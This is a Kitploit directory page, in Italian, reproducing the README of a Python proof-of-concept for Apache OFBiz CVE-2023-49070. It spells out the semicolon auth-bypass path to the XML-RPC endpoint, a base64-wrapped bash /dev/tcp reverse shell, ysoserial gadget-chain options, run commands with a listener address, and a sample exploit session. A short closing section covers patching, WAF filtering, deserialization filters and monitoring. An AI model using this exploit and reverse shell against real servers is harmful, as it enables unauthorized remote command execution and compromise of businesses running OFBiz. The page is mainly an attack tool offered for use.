Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2023-49070 — PoC Python per Apache OFBiz CVE-2023-49070: bypass dell'autenticazione su /webtools/control/xmlrpc più catena di gadget ysoserial per ottenere RCE da deserializzazione pre-auth. | Kitploit
Strumenti/GitHubGitHub/bardlaudian/cve-2023-49070
Strumenti DifensiviGenerazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingCommand and ControlRed Teaming
GitHubbardlaudian/cve-2023-49070

CVE-2023-49070

PoC Python per Apache OFBiz CVE-2023-49070: bypass dell'autenticazione su /webtools/control/xmlrpc più catena di gadget ysoserial per ottenere RCE da deserializzazione pre-auth.

111h 37m faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Vedi RepositorySito web
Condividi

ofbiz-xmlrpc-rce (CVE-2023-49070)

PoC per la RCE da deserializzazione pre-auth in Apache OFBiz XML-RPC tracciata come CVE-2023-49070: un percorso di bypass dell'autenticazione sblocca l'endpoint legacy /webtools/control/xmlrpc, che deserializza un oggetto Java controllato dall'attaccante introdotto di nascosto all'interno di un parametro XML-RPC <serializable>.

⚠️ Solo per test di sicurezza autorizzati. Esegui questo strumento solo contro sistemi che possiedi o che sei esplicitamente autorizzato a testare (ambienti CTF/lab, ingaggi con scope firmato, ecc.). L'accesso non autorizzato a sistemi informatici è illegale nella maggior parte delle giurisdizioni.

Vulnerabilità

L'autenticazione view-map di Apache OFBiz normalmente protegge /webtools/control/xmlrpc. Le versioni interessate (< 18.12.10) possono essere indotte a saltare quel controllo aggiungendo un punto e virgola più specifici parametri di query al percorso:

root@kitploit:~
/webtools/control/xmlrpc;/?USERNAME=Y&PASSWORD=Y&requirePasswordChange=Y

Una volta raggiungibile, l'endpoint accetta richieste XML-RPC. L'implementazione Java di Apache XML-RPC supporta un tipo di estensione <serializable>: il contenuto dell'elemento viene decodificato da base64 e passato direttamente a — classica deserializzazione Java non sicura. Con una catena di gadget adeguata nel classpath (questa PoC usa tramite per impostazione predefinita), ciò si traduce direttamente in esecuzione remota di comandi come l'utente OS che esegue OFBiz.

ObjectInputStream.readObject()
CommonsBeanutils1
ysoserial

Questa è la stessa famiglia di bug delle precedenti CVE di deserializzazione XML-RPC di OFBiz (ad esempio la controparte auth-bypass di CVE-2023-51467); OFBiz ha avuto un pattern ricorrente di coppie auth-bypass + deserializzazione su questo endpoint, quindi verifica l'esatta CVE/intervallo di versioni che si applica al tuo target prima di affidarti a questa PoC.

Cosa fa questo script

  1. Costruisce una reverse shell bash -i >& /dev/tcp/LHOST/LPORT 0>&1, la codifica in base64 e la racchiude in un one-liner bash -c 'echo ... | base64 -d | bash' (evita la manomissione dei metacaratteri della shell più avanti nella catena di esecuzione).
  2. Invoca ysoserial per costruire una catena di gadget serializzata (CommonsBeanutils1 per impostazione predefinita, configurabile) che esegue quel one-liner.
  3. Codifica in base64 i byte del gadget e li racchiude nel payload XML-RPC <serializable>.
  4. Effettua il POST a TARGET/webtools/control/xmlrpc;/?USERNAME=Y&PASSWORD=Y&requirePasswordChange=Y.
  5. Riporta lo stato HTTP e segnala se il corpo della risposta contiene il marcatore di errore post-deserializzazione di OFBiz (No such service) — un segnale che il payload è stato elaborato, non la prova dell'esecuzione del codice.

Cosa NON fa questo script

Non può confermare che hai ottenuto una shell — OFBiz restituisce un errore generico in entrambi i casi una volta eseguita la deserializzazione (il metodo XML-RPC stesso, Dns, non esiste come servizio reale). Tieni sempre attivo il tuo listener e controllalo, non solo l'output della console dello script.

Requisiti

  • Python 3.8+, pip install requests --break-system-packages
  • Java (qualsiasi versione compatibile con la tua build di ysoserial)
  • ysoserial-all.jar — compilalo tu stesso da frohoff/ysoserial (mvn clean package -DskipTests) oppure scarica una release jar. Non è incluso qui — è un grande strumento di terze parti con la propria licenza.

Utilizzo

root@kitploit:~
python3 ofbiz_xmlrpc_rce.py \
    --target https://ofbiz.target.tld \
    --lhost 10.10.14.1 --lport 4444 \
    --ysoserial /path/to/ysoserial-all.jar

Avvia prima un listener:

root@kitploit:~
nc -lvnp 4444

Tutte le opzioni

FlagDefaultDescrizione
--target(obbligatorio)URL base del target, es. https://ofbiz.target.tld
--lhost(obbligatorio)IP del tuo listener
--lport(obbligatorio)Porta del tuo listener
--ysoserialysoserial-all.jarPercorso del jar di ysoserial
--gadgetCommonsBeanutils1Catena di gadget ysoserial da usare
--java-binjavaBinario Java da invocare
--timeout15Timeout della richiesta HTTP (secondi)
--proxy(nessuno)Proxy HTTP(S) opzionale, ad es. per instradare attraverso Burp

Provare altre catene di gadget

CommonsBeanutils1 è la scelta classica per OFBiz (include commons-beanutils nel classpath), ma se non funziona, le librerie incluse in OFBiz supportano anche altre catene. Basta cambiare --gadget:

root@kitploit:~
python3 ofbiz_xmlrpc_rce.py --target https://ofbiz.target.tld \
    --lhost 10.10.14.1 --lport 4444 \
    --ysoserial /path/to/ysoserial-all.jar \
    --gadget CommonsCollections6

Sessione di esempio

root@kitploit:~
$ python3 ofbiz_xmlrpc_rce.py --target https://ofbiz.target.tld \
    --lhost 10.10.14.1 --lport 4444 --ysoserial ./ysoserial-all.jar
[*] Building reverse shell one-liner for 10.10.14.1:4444 ...
[*] Building 'CommonsBeanutils1' gadget chain with ysoserial (./ysoserial-all.jar) ...
[+] Gadget chain built (2847 bytes)
[*] Sending payload to https://ofbiz.target.tld ...
[+] HTTP status: 200
[+] Response matches the expected post-deserialization error.
    This is a signal the gadget chain executed, not proof of a shell.

[*] Check your listener: nc -lvnp 4444

Rilevamento e mitigazione (note difensive)

  • Applica la patch ad Apache OFBiz 18.12.10 o successivo (o alla release attualmente corretta per il tuo branch) — questo chiude sia il percorso di auth-bypass sia rafforza la deserializzazione sull'endpoint XML-RPC.
  • Disabilita o limita /webtools/control/xmlrpc se non usi attivamente l'integrazione XML-RPC; il componente webtools in generale è un target comune e non dovrebbe essere esposto a Internet senza una valida ragione.
  • Filtra i segmenti di percorso basati su punto e virgola a livello di WAF/reverse-proxy come difesa in profondità — molte delle CVE di auth-bypass di OFBiz condividono questo trucco del ; contro il parsing dei percorsi dei servlet Java.
  • Rafforzamento della deserializzazione: usa un filtro di deserializzazione look-ahead (ObjectInputFilter, disponibile da JEP 290 / Java 9+) per bloccare le classi note delle catene di gadget dall'essere mai istanziate, indipendentemente da quale endpoint attivi la deserializzazione.
  • Monitora: POST verso */control/xmlrpc* contenenti elementi <serializable>, connessioni in uscita inattese dall'host OFBiz e processi figli generati dal processo Java che esegue OFBiz.

Riferimenti

  • NVD — CVE-2023-49070
  • Apache OFBiz security advisories
  • ysoserial

Licenza

MIT — vedi LICENSE.

Scarica lo strumento